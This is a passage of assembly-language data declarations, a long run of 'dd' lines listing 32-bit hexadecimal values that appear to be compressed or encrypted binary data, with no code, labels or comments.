		dd 67C02E80h, 242229h, 69BBDCF2h, 13AA84F7h, 10EAE0Bh
		dd 39F1D7F8h, 8BD0DC4Bh, 0A586350h, 0DBB7C412h,	0BC0878C4h
		dd 0D1749B92h, 3524C0BFh, 592803DEh, 768DF7Ah, 9D089040h
		dd 64470B4Dh, 0E859D890h, 560DDA00h, 0F29DD3C7h, 0B4F1019Eh
		dd 858375BDh, 0C41E70A0h, 711DFE00h, 0B23120C2h, 878C987Dh
		dd 604664F8h, 0E15C0Dh,	0A59B123Bh, 882A071Bh, 0A8235Dh
		dd 0A23FE669h, 0FA9B950h, 0CC03E7A8h, 4F8D1D4Fh, 0A2982318h
		dd 0C4AF30CAh, 0EDFE541Ch, 5C7C1307h, 9B50029Bh, 0C56B041Ch
		dd 0BE948154h, 72B1814Ch, 8B0C221Ah, 0D957E820h, 18C28051h
		dd 45720512h, 0CB97078Eh, 0DA3400F0h, 0CBBB7571h, 0B5A0A0CDh
		dd 765C9691h, 0F4005246h, 0A4DF0488h, 0E4A49C64h, 29523Bh
		dd 93C28F69h, 309236E8h, 0C468F8ECh, 6CBADF6Fh,	0AEB6CA00h
		dd 0A9E9BDD5h, 4B20C104h, 0CC7437A8h, 18901FFFh, 1DAD3300h
		dd 0B6B5C1DBh, 82DF7AB4h, 0C651D841h, 0C0C87A00h, 0F07E97h
		dd 135BCD2Eh, 28F9F3B2h, 0EE0528BAh, 0B3444105h, 46212038h
		dd 17B927ABh, 9FAB1174h, 0A88DD082h, 85B841A3h,	8B8C02F2h
		dd 0B7E644C0h, 0F2D5721Fh, 7E58579h, 1CA0F464h,	0D41A00D0h
		dd 31EF9568h, 0FF071B99h, 7E9FE50h, 80974672h, 64B69BCFh
		dd 0A8570056h, 1A40CF42h, 13001948h, 7054E4CEh,	0C34DA1h
		dd 6FAA1B6Dh, 7B4AC73Bh, 40801E4Ah, 8A5EBDh, 7405C8C3h
		dd 75447243h, 651D8D01h, 0AE7B9467h, 0D17EE4h, 40630917h
		dd 51E52BBEh, 0F7B63009h, 0C8D034h, 72EECE85h, 0D74637F0h
		dd 0BE50FB00h, 0F7D1E0C2h
		dd 3FB2E63Bh, 0B000CFC6h, 4AD601BBh, 4101B579h,	0FA178BC0h
		dd 57D0A15Fh, 8C8E00F3h, 3A4CD9CBh, 0E8005690h,	0DE2ACAD5h
		dd 0F51609h, 387FFBA4h,	0F7AD7E46h, 28A3640Eh, 3E77E0C3h
		dd 0F22F9968h, 0D4891402h, 3F12B886h, 0B130B031h, 6490CB00h
		dd 0AA45F27Fh, 67630320h, 5B7F95Bh, 0C13BFCE0h,	0E5E31207h
		dd 0F02994A8h, 0C7EE2678h, 0ADAB0778h, 0A283A21Bh, 0FE4F8850h
		dd 90B5A0C0h, 26A900DCh, 0CCCD29E8h, 7201F68Ah,	0ACFD597Bh
		dd 0F880C467h, 6113A1AFh, 1101F02Ch, 7C8AF8F5h,	68803F73h
		dd 0AC6078EFh, 0A90FDEEDh, 0B0B9E927h, 0F09F3313h, 5A77200Ch
		dd 0D89A1307h, 5FB03211h, 4B43A8D0h, 0A890C492h, 90804B28h
		dd 2F8D82F8h, 0D48065B0h, 0C56EDDC7h, 425FDBE6h, 2B80081Eh
		dd 0D9D424F9h, 0ED3500A5h, 3AEE3BB6h, 8413EF86h, 50E4F3CBh
		dd 0C6D40F9Eh, 5A4ED87Dh, 0BE0E5CFh, 894FB17Ch,	5844F612h
		dd 0CC60A0h, 3E027917h,	57228437h, 1967D709h, 1F2CF094h
		dd 80B3C448h, 654A5DB7h, 5300B461h, 812FE0EFh, 0EC3913h
		dd 954B9CA3h, 87BBDD50h, 964F5C9Ah, 9D9888h, 18F7C5D5h
		dd 0DE7BEA01h, 411EE103h, 0B8BEAC63h, 38F20D8Eh, 0FB06A0Bh
		dd 0AD7A53F1h, 0D47F5103h, 1FE20E16h, 45F22E90h, 80EDB12Dh
		dd 0A812F8F8h, 72385700h, 3430ACD3h, 0C60E07E4h, 40FB37B4h
		dd 0B1C3F502h, 0BDFC8095h, 1C17D7Fh, 864E5ECFh,	0CCB9C2FEh
		dd 3D3CC663h, 53398EBEh, 0DE4C4068h, 0EC8522Fh,	94F90445h
		dd 420762E2h, 8DDFC740h, 48B16900h, 4DD45F5Ch, 7079A7h
		dd 25AB9231h, 41BD2C95h, 0E6FE0E07h, 74104830h,	0B08708E5h
		dd 0CAB94A17h, 74910004h, 0F7D844Ah, 0ACC84898h, 220DBE06h
		dd 0C41240D5h, 0F0A018F4h, 0C1834A21h, 1019C218h, 797F5Ch
		dd 0CECBB83Eh, 169C55C7h, 0AE9BD302h, 5643364Ah, 5C458028h
		dd 0B3F61EEEh, 80C1FA76h, 0EAB9AE7Fh, 5B84023Fh, 0ACA0BF8Bh
		dd 1E655D9h, 0DF41101Eh, 4854127Bh, 915C2040h, 15DC75Ah
		dd 8FA393C1h, 93D855AAh, 681570B0h, 0CE4A0124h,	66ECA965h
		dd 1CC7CDEh, 0F654DF36h, 0C9EE0FBh, 207C5800h, 162BE6EBh
		dd 3BAA7578h, 0F3812FF8h, 0B110EE0Dh, 0C1B13064h, 0B5A2C500h
		dd 8B5CA63Bh, 0BA81009Ah, 2AD7538Dh, 0D1000D97h, 8E214396h
		dd 657B5h, 24C039F8h, 3CB86A98h, 6E015E03h, 0F81B904Fh
		dd 452CACh, 0B249B303h,	6B8AC086h, 3C006EF8h, 6292EA60h
		dd 495C2EFEh, 0A7032472h, 7DDBA19Bh, 22979802h,	54EB7C31h
		dd 805A1F34h, 940DF939h, 0C51E3FEDh, 3C407757h,	1C2A0358h
		dd 0FDB20FADh, 0D384B0h, 0EB0FC110h, 0BD007388h, 0DB568EF6h
		dd 0F2E03F1h, 8575D493h, 0C997AE20h, 3C985524h,	3E25257Bh
		dd 5F68C0CDh, 340918A3h, 76B9A84Bh, 2E0F740h, 2B3AEADEh
		dd 0B0D4A2DFh, 0AD5BC105h, 411E586h, 31112D58h,	9DAB40FFh
		dd 1C733E92h, 41603865h, 158056B9h, 1A5034DFh, 2C048902h
		dd 20643FADh, 24AE26C6h, 2500A64Dh, 406528h, 0EBB5AD5Eh
		dd 9C00CDFAh, 0F2A76091h, 1D5DE01h, 8AE3C2Dh, 7F80CBE3h
		dd 0A020DFC5h, 8842D769h, 6417F9BEh, 8601A5D3h,	44DC1110h
		dd 609109D4h, 8CB286Ah,	0AB00203Bh, 71C47532h, 0B8810759h
		dd 1F40074h, 0C2D34633h, 0C5018E12h, 755808Ah, 0E8CF881Ch
		dd 20BD5CEh, 0D2B43422h, 0DEC031EEh, 5E071420h,	6B1BCCA3h
		dd 0A574D450h, 7280069h, 683DBE6Dh, 3E1227BCh, 5F00B9BBh
		dd 94DFF043h, 7BD10028h, 71D29DEEh, 541C4818h, 0DC8FB345h
		dd 945B6399h, 12180172h, 0E2CF7B2Bh, 81108076h,	0FCDA759Ch
		dd 84CD3D60h, 5231F600h, 6149B504h, 2700B0A6h, 0A310E754h
		dd 2619F1h, 7851346Bh, 280C882Eh, 4F92061Fh, 4B4DB700h
		dd 0B8EE548Dh, 128600EBh, 0BBCD50B0h, 59008C0Ah, 49E8587Fh
		dd 0DED657h, 5A81AEE7h,	50723C6Bh, 0C62B2000h, 0DA6A1A73h
		dd 0F1B900E2h, 0A991A33Eh, 76002A06h, 28B9F19h,	76BB8CD3h
		dd 0CE7F012Ch, 0AE130B3Fh, 898DECE6h, 0A6AF5A12h, 4F5D64A4h
		dd 0B7E08B35h, 75DF1BD0h, 806C9E8Ch, 0BDF2D7B2h, 1FF61DFEh
		dd 8D69970Ch, 788E8024h, 0EABC2547h, 1854506Ah,	6A7F6F04h
		dd 0BD8020ACh, 1D5B0A2h, 5A41C403h, 25B336Fh, 761D9621h
		dd 0BC72973Fh, 0DB464700h, 8F54938Ah, 91E71E55h, 266E80E9h
		dd 0C63F6B8Ch, 44ABC113h, 8C47C8E0h, 0BD6A20h, 73F1EE3Ch
		dd 0D1FD542Eh, 76B8BB03h, 0F80603B4h, 27F9FEBFh, 0C4C6BE71h
		dd 11C96700h, 41BA5218h, 7BAF0453h, 0EF76B616h,	8F5A0A00h
		dd 3AEB5960h, 0ED00F2B8h, 8B7E9CD3h, 29589932h,	78540FD9h
		dd 0B8AE0033h, 0EE95A60h, 1B256255h, 36B2F8E0h,	0C0FD7A44h
		dd 64B6EBB4h, 0AA4674h,	2C946E0Ch, 1B1B341h, 2419DEE3h
		dd 0F887B88Eh, 0B7953DD3h, 9FAD021Ch, 7E608209h, 8B2801DDh
		dd 0CB07D452h, 5CEABFE9h, 68820EB0h, 3479EBE3h,	32E0F704h
		dd 1A8B341h, 0C45EFD6Bh, 500C1DF6h, 0C30A88h, 694060FDh
		dd 0B2ECA3C2h, 64921D0Dh, 6068588Dh, 0DB112221h, 6C230796h
		dd 0CCE679B7h, 7C0D44h,	0BF1B8A46h, 0F69608ECh,	852FA979h
		dd 0C5D4895Fh, 671BE4F4h, 0C2026DD0h, 6D7286Fh,	85451A24h
		dd 0B6311FFh, 7C6527D0h, 0A6076B17h, 35C81400h,	5DFDA5h
		dd 4B252C26h, 0F168AA1Ch, 0C70F8F00h, 69E7443Bh, 6BFC3FEFh
		dd 0AAEEC48Fh, 27F3A3E0h, 0A6011F25h, 0C0C55DE8h, 0BECDF70h
		dd 0EBA8037Bh, 3EB6E96Ah, 0CF0A71C0h, 878C641Dh, 7453DF00h
		dd 33AA8B2h, 704B12E9h,	8372B11h, 1A702158h, 48AB5FA8h
		dd 5060E36Bh, 0CF946A57h, 4236D9E6h, 20205849h,	38D843D6h
		dd 18547520h, 11DDE724h, 0C7013C3Fh, 68306AB6h,	98C52EBh
		dd 1F205436h, 0ACC72400h, 17626302h, 1FA3730Dh,	0C301F7DEh
		dd 658D5CF2h, 1FA29900h, 91E5B8B4h, 94380B9Bh, 681EB0Bh
		dd 8056F77Fh, 0FC33DF50h, 0A0ED648Dh, 0CCD4EBA8h, 13217709h
		dd 0D7008690h, 8BF37EBCh, 980321F8h, 0EA1231C6h, 0C75542C9h
		dd 349B3103h, 61889ED0h, 0E98250F6h, 705FC4EEh,	3229DC70h
		dd 1032B425h, 0DFBCA0D2h, 139FF58Eh, 602CDBh, 9BCA928Bh
		dd 0E8004550h, 39B84CE7h, 39F0DA08h, 0D31E38ACh, 95420171h
		dd 0F0F1E98Bh, 0A8E2835Eh, 62FA6603h, 0A0A10F53h, 2F9859h
		dd 354175Ah, 5F82C2C0h,	69A70807h, 0CD70573Fh, 39AF73h
		dd 0C56E9822h, 581BB5EBh, 0E3BACB00h, 8A4284E6h, 0E4ED25BFh
		dd 540F725Eh, 0E719A0A3h, 476A94h, 75606CA0h, 663E069h
		dd 29C7530Eh, 5789A0A8h, 3586771h, 18FE937Bh, 0FFA9C482h
		dd 0ABD9F85Ch, 2A059400h, 29FBDA16h, 0CF9100A7h, 65CAC5B0h
		dd 62E46696h, 186BBE3Bh, 38202A09h, 21C500A9h, 6CED6EE6h
		dd 3900FC37h, 5E9F79D7h, 0A9F976h, 0E4EF9224h, 7EA7D2F2h
		dd 9B01B303h, 0E291A6FEh, 49126029h, 28856F12h,	0BBB08703h
		dd 0DEC59803h, 795627FDh, 4921C008h, 22E4BBA8h,	0B1D34000h
		dd 8D547CE6h, 7EFA0CD0h, 0F4786CABh, 0DD3CBA01h, 0E25C8B1Dh
		dd 4180AAF1h, 390131A7h, 2E067954h, 3E118BDEh, 21096008h
		dd 1B393457h, 2E177200h, 0C33720E3h, 0D875300Ch, 6EEFCA50h
		dd 0C89C4730h, 3E4E2427h, 1002325Ah, 0AD64B22Ah, 6A70A8A0h
		dd 3001469Dh, 0E6041B36h, 0B1D0024Ch, 8F9C17AAh, 0A94E001Ch
		dd 5C85AEEh, 0AC7CBFECh, 0BEF5F100h, 914C6E5Ch,	0E40D0281h
		dd 0D0409045h, 342F58C0h
		dd 0E31FB304h, 7180CD15h, 128982h, 4A99E07Bh, 3218F1F0h
		dd 1E9C0501h, 2C575313h, 60DF10D8h, 0EA2730A3h,	2900478Ch
		dd 820ABAB3h, 0F6A04Ch,	268D4EB6h, 5AA2E732h, 8E9E9A07h
		dd 0AC168F7h, 708A583Fh, 0F3C37E6h, 0F940FEEBh,	0FA0E354Eh
		dd 3A008373h, 0B1013045h, 1C2FDA12h, 82C4A64Ah,	0EB924155h
		dd 8D004154h, 0A17EC7F7h, 0B0CA3042h, 39C66D10h, 3FCDA0C0h
		dd 0A21005h, 0D77BEE4Eh, 0E655BB48h, 0AF9F5704h, 2380C8B1h
		dd 1DC5DD0Fh, 4F90FA1Dh, 0CE80C7C2h, 2D5ABC44h,	79300FE6h
		dd 0CAFE19D7h, 6FD800F1h, 464A2056h, 0E900E7EAh, 24E3197h
		dd 18A33399h, 0E13FE37Ch, 1707FFCCh, 0E62EEAEEh, 0A3C8BCA2h
		dd 0E19D2CA0h, 11D4F120h, 0E70D00A6h, 10421579h, 6902B74Ch
		dd 0CDBA8A27h, 4E8CC036h, 89CF1CFFh, 0E5030017h, 1AF9A788h
		dd 0A33B4F00h, 0A1F4833Fh, 607B001Ch, 0D912B014h, 970E396Fh
		dd 8638C771h, 1C20AC55h, 40B07CB3h, 5CC91BE1h, 0F1011015h
		dd 0A11D59FBh, 288CBFA3h, 0C0513F9Eh, 1FE0C1Dh,	7A651507h
		dd 9B208Ch, 2414EC17h, 0FC18A7B4h, 0D4081B66h, 0EB60541h
		dd 0C03F4EECh, 0C6BC6905h, 506A9030h, 0D6AB65ACh, 0AF5C0029h
		dd 0E9B09FB9h, 468E4B00h, 2C5ACD32h, 18D472DCh,	381D12B8h
		dd 8703A41Fh, 6E11DB7Eh, 83828018h, 0FE4C0C41h,	35E1C780h
		dd 0A6AA100h, 0B74899C4h, 5EC5009Ch, 0ED587840h, 29C0C381h
		dd 947A01EFh, 540C2672h, 3ABF0788h, 252E7043h, 4F06BAC0h
		dd 23C6DB2Dh, 0FAAC0081h, 0FE300E72h, 2818202Bh, 0FBC9AFF0h
		dd 1B117C50h, 3105B8EBh, 52F386E8h, 21E94900h, 8434A764h
		dd 0B181C7C1h, 813B0067h, 0DB00D763h, 0C6F449EBh, 1561721Fh
		dd 0C0A3A7C5h, 809E6F00h, 98789270h, 2E563A7Ch,	0B02902F8h
		dd 3117D911h, 0C8B21369h, 0E206EB0h, 0C52C6A0Ch, 409F6585h
		dd 0E6815DE4h, 0C9003BA1h, 0F774E241h, 9E91EFh,	0DB164577h
		dd 6E042E82h, 0FE06A31Dh, 6B767587h, 3ACBEF0h, 0A62F3617h
		dd 19469868h, 10B06202h, 6C317FD9h, 0B02A7D10h,	4B8E015h
		dd 5F007398h, 0C655390Fh, 3303508h, 3133F323h, 0B10FA166h
		dd 0A080406Eh, 92CE34D5h, 736509B4h, 11FB04h, 0A975E420h
		dd 850A063Bh, 862842DCh, 729E7805h, 953FD027h, 227E7CECh
		dd 746CA724h, 15811711h, 0C62412ECh, 0D810D231h, 4C00EC0Ch
		dd 5FA528D9h, 15A32369h, 84F12103h, 9F98C93Eh, 0B8DB31C8h
		dd 58811B60h, 31FBB9h, 627F9EA4h, 86C5026h, 0DC0CFD00h
		dd 0D2EB84F2h, 661A18BBh, 6F0B91A0h, 2F4E980Eh,	25AE02Dh
		dd 139EA56Eh, 1822DC55h, 7CE730C1h, 70FB0F18h, 0F0E3CE1h
		dd 2F866D33h, 0D79E07A3h, 215646EFh, 36323FA0h,	3A1CA000h
		dd 3D9E5BC6h, 0FBA9C66Bh, 90002980h, 0E8DE0DBBh, 5E715608h
		dd 3B7C0C5h, 1400A6A2h,	9ED6A783h, 2439E715h, 0C0082DA3h
		dd 0D914B02Eh, 9138DF21h, 76B1036Bh, 987F2DB0h,	26948B2Eh
		dd 210E40D7h, 3EE80098h, 3DE34BC4h, 9908AD07h, 0F09029D2h
		dd 38D9B31Ah, 0C015F52Bh, 2980E073h, 842416ECh,	0BCD3448Ch
		dd 0FEEC8000h, 86A2E666h, 1DB93012h, 0EF65DC71h, 8E47F901h
		dd 2C685D88h, 40292CCh,	363D17B6h, 7284806Eh, 0A860081Dh
		dd 224CC0C9h, 9E16003Ah, 235BB7F1h, 6BE8B8D9h, 19C788h
		dd 0C431C53Ah, 0FCE82F29h, 0A994502h, 8AFDDC36h, 7C1144C3h
		dd 15EC1881h, 0D131FA24h, 0EC0FBB10h, 2385E700h, 989C1E8Eh
		dd 7C9F301Dh, 0A008B441h, 0ECB0A1D8h, 160286A7h, 0D19E2A3Ah
		dd 630016B8h, 574B3A2Eh, 0CBE7802h, 0C81E0495h,	0CE002041h
		dd 0CC32F8FBh, 45ADC65h, 241704ECh, 880CCFA3h, 15C0CF69h
		dd 47748CFCh, 489B840Ah, 114F46Ah, 8CC8BCF0h, 1FA23400h
		dd 0B945A199h, 9E663006h, 297C8B41h, 11E9F51Ch,	0EA5FD2C1h
		dd 0FFE8B47Dh, 0C9673052h, 0BE0BDB49h, 0FEF8FA00h, 0DADC3FA7h
		dd 97E0ED5Ah, 24867751h, 4094E457h, 0B89840C5h,	0E6A4B400h
		dd 0FD62ED6Bh, 0FA480018h, 0BD09449Ch, 4A602860h, 0D1141C31h
		dd 46DC9003h, 33120283h, 310F8629h, 0EA2F1068h,	6EF00032h
		dd 0B1C24CBBh, 0FE301A1Bh, 8F862103h, 427F0034h, 0A52DAADEh
		dd 6A0BBEA1h, 4D5744Eh,	8445D160h, 6DC04F4Dh, 0B7507DC0h
		dd 481D5962h, 0DC00C3DFh, 31390981h, 80191667h,	6D5030CEh
		dd 49C0A266h, 0FD4DDEAEh, 0C5CF037Dh, 7339DC81h, 10DD823h
		dd 866F3310h, 5A19E6FFh, 32E58910h, 8423310Ch, 98FA995Bh
		dd 0AB4C001Eh, 3EF0A2D2h, 0A0A474DAh, 0E0DBB416h, 44F61430h
		dd 852A00FAh, 0AAB25A8Fh, 82059286h, 1AE443EEh,	3E9FC48Ch
		dd 0C380CEBFh, 0B417C43Fh, 0D13862E0h, 0E4978142h, 7BF7F67Ah
		dd 0EBC0CC5Ah, 504133E2h, 0B9E0447Fh, 249E363Bh, 0C95AC4Ch
		dd 97700358h, 0C8083305h, 9847E749h, 430244BCh,	2F413Fh
		dd 1C4885A2h, 121595ECh, 31DC278Eh, 22831DECh, 8FA83CF8h
		dd 61DBFDCEh, 0B5364726h, 1F1BAFD0h, 0F6B988h, 1CFF68DAh
		dd 0A1264DEDh, 0E6886482h, 3A1460A7h, 0C1219E18h, 5791B8h
		dd 513A2BC5h, 0A4170552h, 1FB930A8h, 0B5956B21h, 3E72D600h
		dd 0C60DA12Ch, 92E905A0h, 941C7EAh, 0D8B701C4h,	0B2CAB100h
		dd 16B35809h, 3AAAA4ADh, 0D023DCh, 3E19085Bh, 0C300274Fh
		dd 0F43972E3h, 917BF85Fh, 18567158h, 42F600C8h,	0DB5F2C8Dh
		dd 4500F5C6h, 0CFF970D5h, 1C9CD14Eh, 0CFABAB7h,	4889AA65h
		dd 90A23900h, 2D7871E4h, 2E520063h, 44F84CA8h, 0A03C7261h
		dd 1812862Fh, 7106FBh, 79CA3CCFh, 3D2A01D5h, 0D0DB2E01h
		dd 5A80FE29h, 9D69C450h, 0DDA500A1h, 0E2B2A670h, 41C059FBh
		dd 236BFEE0h, 5FFA00EDh, 3EB65343h, 353BD228h, 0C5D180AAh
		dd 0DCE1A359h, 73D8091Dh, 9C86D0EEh, 200B9A4h, 723F355Fh
		dd 61F384Dh, 87281655h,	843021A9h, 0D9BC89C6h, 757A00AEh
		dd 62E526AFh, 8F02D160h, 0B8D8A617h, 0E43C43C7h, 173A1360h
		dd 48B99E2Ch, 3E2ADE70h, 3538E53Ah, 153BEC0Ah, 6F9A0CB8h
		dd 660086E1h, 0DC44841Fh, 0A5F7ECD4h, 6071E4E8h, 151F791h
		dd 0BFABFFC9h, 633613A2h, 30D3A2CCh, 8E1217D6h,	0C8001663h
		dd 3F743684h, 9771E40h,	225E00D1h, 0C89323A9h, 0F444F900h
		dd 0DF824670h, 5B3F13DBh, 0E11C1C05h, 0DC899800h, 0DBFF80h
		dd 9E9900Ah, 77D266Fh, 6DE3C414h, 59841CDCh, 0F97B89B0h
		dd 74E1009Eh, 0FC3FA120h, 2B04B0ADh, 66291F45h,	0F5B90A4h
		dd 3A039FAh, 38115180h,	6E1FC9BFh, 9980DAD5h, 7465D0B1h
		dd 83C60E2h, 40619FFh, 69BE2130h, 5DEFC71h, 3D03E3Ah, 0C7400217h
		dd 0B0A41E9Bh, 62ECCC34h, 0A4E158h, 8283FB2Ah, 1C9CB820h
		dd 8023723Ch, 5EF5C717h, 31C0C284h, 6D8EB4BDh, 45050051h
		dd 9BA8836h, 3B00499Ch,	65CF0269h, 848E9Eh, 0A96E040Ah
		dd 8226099h, 0BFAC89A1h, 51C5B091h, 48838EB9h, 5C0051AFh
		dd 786709D0h, 930470E7h, 7BE9D3E4h, 987C8Ch, 523E9550h
		dd 54C5A181h, 7E261E0Eh, 2DCA40CCh, 0E6F209D5h,	0CDC70B11h
		dd 94E02192h, 2349C83Bh, 3AC0470h, 10B4F0F6h, 90B009h
		dd 0F3746A81h, 0DB0CB2EFh, 31B6B837h, 562744C0h, 7B497011h
		dd 1C3C7F58h, 97DB1824h, 0DCCF0FA5h, 0E031B32Ch, 57751E00h
		dd 2F37DBF8h, 94A6009Dh, 383A7886h, 0AC0099DEh,	8865C8AFh
		dd 78F3D55h, 7A354604h,	54E1809Eh, 0D118808Bh, 0DB11BFEh
		dd 0EBBA1D57h
		dd 90C74AD2h, 945044E4h, 406CC234h, 86F208E4h, 72FAA645h
		dd 0DA7EB8h, 9D9E8FA9h,	5019A7D3h, 4DFACC05h, 3F81A658h
		dd 3FFC2A8Eh, 3E74921Ah, 0AD0FB7C6h, 0EF8227A0h, 0A0484A96h
		dd 0AC72DC94h, 134C3548h, 5CD06659h, 714E4C2Bh,	0CC0313CAh
		dd 5DC00062h, 65183B5Ah, 0B9B4980Ch, 8B6110h, 2977992Eh
		dd 9FC75139h, 8A9D78A0h, 8F451400h, 26F41DABh, 7F0283Dh
		dd 0F8381894h, 6A32297Fh, 53294A00h, 0CA66DD94h, 0A2361F1Dh
		dd 48C28019h, 1EB8F6E6h, 755C71C0h, 3C8BC112h, 0E807B73Bh
		dd 38E2227h, 5EF16DFBh,	73D0F07Ah, 2B6C9800h, 0C8786523h
		dd 724702F5h, 0CBE53C4h, 22933840h, 7C23E007h, 0C52060FCh
		dd 5485674h, 30DB762h, 6088051h, 0C648E515h, 0A84E7B44h
		dd 273AB443h, 0FB60E86Fh, 0A853AEEh, 0E04FD3Fh,	822AAF7Eh
		dd 6A6264A0h, 0AB70B000h, 0C730308Ch, 2EAC4192h, 5CFF03FCh
		dd 6D10FB9Eh, 988C7298h, 5D0B81F0h, 0D7573Bh, 70EA5B80h
		dd 0D94B035Eh, 721475E4h, 9B0BA4C0h, 0A8834013h, 105215h
		dd 0CF233F52h, 30FF704h, 0EDE64051h, 213EC081h,	8D6E00C2h
		dd 0FC6C7987h, 7EDC0331h, 5FE7CECh, 6D3B9900h, 9C2324D7h
		dd 0ECB49044h, 0CB3888F1h, 0F86A9E00h, 0E2F3E9B6h, 3FB776Fh
		dd 0AF122698h, 1013AEDAh, 14C65305h, 7EC00A79h,	4C48C98h
		dd 8397224Bh, 99787970h, 58209000h, 7329E450h, 7B16049Ah
		dd 0C846A3D9h, 7F0423D8h, 0DF5BA0Ch, 10AC9482h,	810DB18Ch
		dd 51766603h, 0F7C5E8h,	2E1BFCFh, 288210FEh, 0E9388450h
		dd 98782A09h, 4C8C80ADh, 0F0F6779Eh, 7A343BB1h,	0F890CE09h
		dd 80CB1C48h, 33608D07h, 4640EE93h, 0F10C6Eh, 0A19EFCA9h
		dd 2E1BC17Ch, 0C8170426h, 1A99C741h, 66764180h,	0B1DBC8FAh
		dd 0AD3F3C90h, 94FBA47Fh, 0F84A6C40h, 4BCB72AAh, 0C83C2081h
		dd 0AD0015BCh, 14A276F9h, 509180F5h, 9016F91Eh,	1F8604C4h
		dd 0CCBC3FF4h, 1A00685Ch, 0BE07D425h, 0B08D08h,	265DB65Bh
		dd 0FED2A78Fh, 0F8616E63h, 72BDE82Fh, 0DF9836h,	46DCDBA2h
		dd 1E5AC385h, 43A3CE14h, 3674C1B4h, 802219BAh, 7AE45C00h
		dd 10A12852h, 202C122Eh, 80709208h, 0B0316FAh, 860A071Ch
		dd 9080FDB3h, 13940240h, 0F890E461h, 6E9B0015h,	208FB376h
		dd 0D830A3E7h, 747E6907h, 0F78700EBh, 0ED70D6DEh, 770FE9D5h
		dd 0E04E9D81h, 0A0FAF5D3h, 0F6041649h, 943458h,	45559C44h
		dd 0E307F80Eh, 0D38F015Bh, 58A1E0E0h, 0FD03092Ch, 0BC90D8A2h
		dd 804AFECBh, 0CF78C440h, 0F84996h, 0A221142Dh,	0DE986720h
		dd 0FF28870Fh, 0B609D675h, 713F8C1Ch, 0E20F09B2h, 8D802AD2h
		dd 0A0C6405Ch, 0CD37A71Ch, 6DFC8087h, 0C0132222h, 197CEA74h
		dd 81BCDA9Eh, 22FBh, 3E970D0Fh,	0E728F0BBh, 0B0E4F8D7h
		dd 77F90943h, 10008444h, 30D8AA09h, 2364A42Dh, 79ED70h
		dd 0C3C8D5ECh, 8FF7E26Fh, 0C795570Ah, 64125496h, 325A9CD0h
		dd 0B7D0007Fh, 67401926h, 281714BBh, 6093469Eh,	0DB80EFF7h
		dd 38D92B21h, 538D1373h, 6010270Fh, 267DDC0h, 6DF3A708h
		dd 0B5290095h, 0B054EC27h, 2A0EFC3Bh, 4333245Eh, 0B358CC74h
		dd 0E2D880CBh, 0DFAC2E35h, 484D0387h, 40DEFF7Ah, 0BDD12700h
		dd 0FC7E46B9h, 0F3B000A0h, 7E6BEC6h, 9E00739Fh,	0C80F2035h
		dd 0E812F95Ah, 1FA90142h, 0BBCF9D24h, 7030804Ch, 36B00877h
		dd 0B54800CBh, 7211395Fh, 1278B346h, 0D17D6700h, 0E4A69E44h
		dd 39CD60CFh, 0BD8FB6A1h, 9F276F00h, 19EE96DFh,	63600C4h
		dd 3926942Eh, 0A1302D38h, 552099BFh, 586107ABh,	0FF98871Eh
		dd 71B733A7h, 0F81FB67Eh, 25F06CD5h, 4C30A763h,	0C060D073h
		dd 1940F070h, 18F7AD2Dh, 48A9D4F3h, 3954B901h, 0AA745EFh
		dd 1E46B0CCh, 40162C0Eh, 0EED3C90Ch, 81C343E9h,	0C573BDh
		dd 0EB994641h, 0C39062D4h, 9D918A01h, 41E9CCA9h, 323106C7h
		dd 0F1C1CF58h, 932B7E01h, 0B4A9BD17h, 53D01CD5h, 5CA031F8h
		dd 0D00BED31h, 0F7006B66h, 8720A7D1h, 117E48Dh,	85C24D28h
		dd 9125A33Bh, 0FF03C788h, 669DA91Fh, 0C4E9A8E1h, 0CA305808h
		dd 1CC62144h, 3036EEABh, 0D46951A1h, 633D4EF2h,	53E403C0h
		dd 0F8A41CCBh, 0CAF745h, 209D88D2h, 0D32A81E9h,	0E86D1F00h
		dd 0ACB86C60h, 8859C0E3h, 7F8F9226h, 53A122h, 5DEAD0AEh
		dd 4C79C80Ah, 0CFDA1A00h, 0A30CC598h, 622400A8h, 3DFE9147h
		dd 9E2AD43Ah, 0AE04D4F1h, 0E4C7DC46h, 5D05E2C0h, 0A38C3C81h
		dd 8D6FE900h, 3DB735EFh, 288018A2h, 5D3C608Fh, 3A5C6CA8h
		dd 651B9604h, 0B2C05E35h, 7E3732h, 1D75281Ch, 1E3680BCh
		dd 0B7FEEEF0h, 0EBC990A8h, 93392E1Eh, 0E63FAB00h, 0F81D6A89h
		dd 27EE0059h, 46B62413h, 7F0CE5C8h, 71BEA0B1h, 6E560025h
		dd 299B0CE6h, 0AC2A09DAh, 1A0390F6h, 0E83FC8D6h, 0A9F780EBh
		dd 52280277h, 49109D95h, 55000C46h, 943E8A5Ah, 29EECDh
		dd 59B239FBh, 0FD7EA31Eh, 31137100h, 0D4A6F8E2h, 96E90E21h
		dd 868062B2h, 18C60A07h, 0A5BCD102h, 20EDADFAh,	4F6876A0h
		dd 0D49C6C01h, 2E93B2A6h, 202E04Ch, 90B41936h, 5B205C9Fh
		dd 3BF4EBh, 400F056Ah, 0E347024Ah, 8B12B903h, 987A45A4h
		dd 12BB91E8h, 1E1F1BCh,	0ACBF5ABCh, 3E5980EBh, 77BD939h
		dd 80A50183h, 0D3D047A4h, 1D85F441h, 34E7EE00h,	0D5FF5D4Eh
		dd 963018C1h, 5B2081B9h, 8033FA00h, 95CF7B3Fh, 0BFCC2AD8h
		dd 39300094h, 2915814Bh, 0FB015CFAh, 11D97E05h,	20D4E4ABh
		dd 62D10007h, 0E98C39AFh, 0D20333E7h, 0AC01C9BEh, 35A101F5h
		dd 6B05DEC6h, 4FF0CCE0h, 909A851Ch, 600CA04Fh, 75486AA8h
		dd 0DACA03D9h, 263E3B38h, 0BF70FEA8h, 68BB3701h, 286C87A1h
		dd 1F85D040h, 0CCA70094h, 0E9979C42h, 0D1C0BA40h, 0BDA0741Eh
		dd 0CFFA1830h, 0A3EFC9B9h, 31600100h, 0FF392AD8h, 0B50E0010h
		dd 3E338963h, 0AFEAC6ADh, 0CBEB3C00h, 0D8270FAh, 0BDC70823h
		dd 0CF8CF07Eh, 733551B8h, 0A38500DFh, 0BC0BC00Eh, 43027071h
		dd 424736EAh, 0D194841Dh, 80BEDCC2h, 62D2318Ch,	741A0086h
		dd 0CB3B09B4h, 110F9791h, 40D9C273h, 0C380B9CAh, 0FFBB0166h
		dd 764731A3h, 21BC255Ah, 0C2A44496h, 88468708h,	92119900h
		dd 6CD77F0Dh, 0D47D0083h, 0E426E95Ch, 118C4EAh,	0C6C1CFE3h
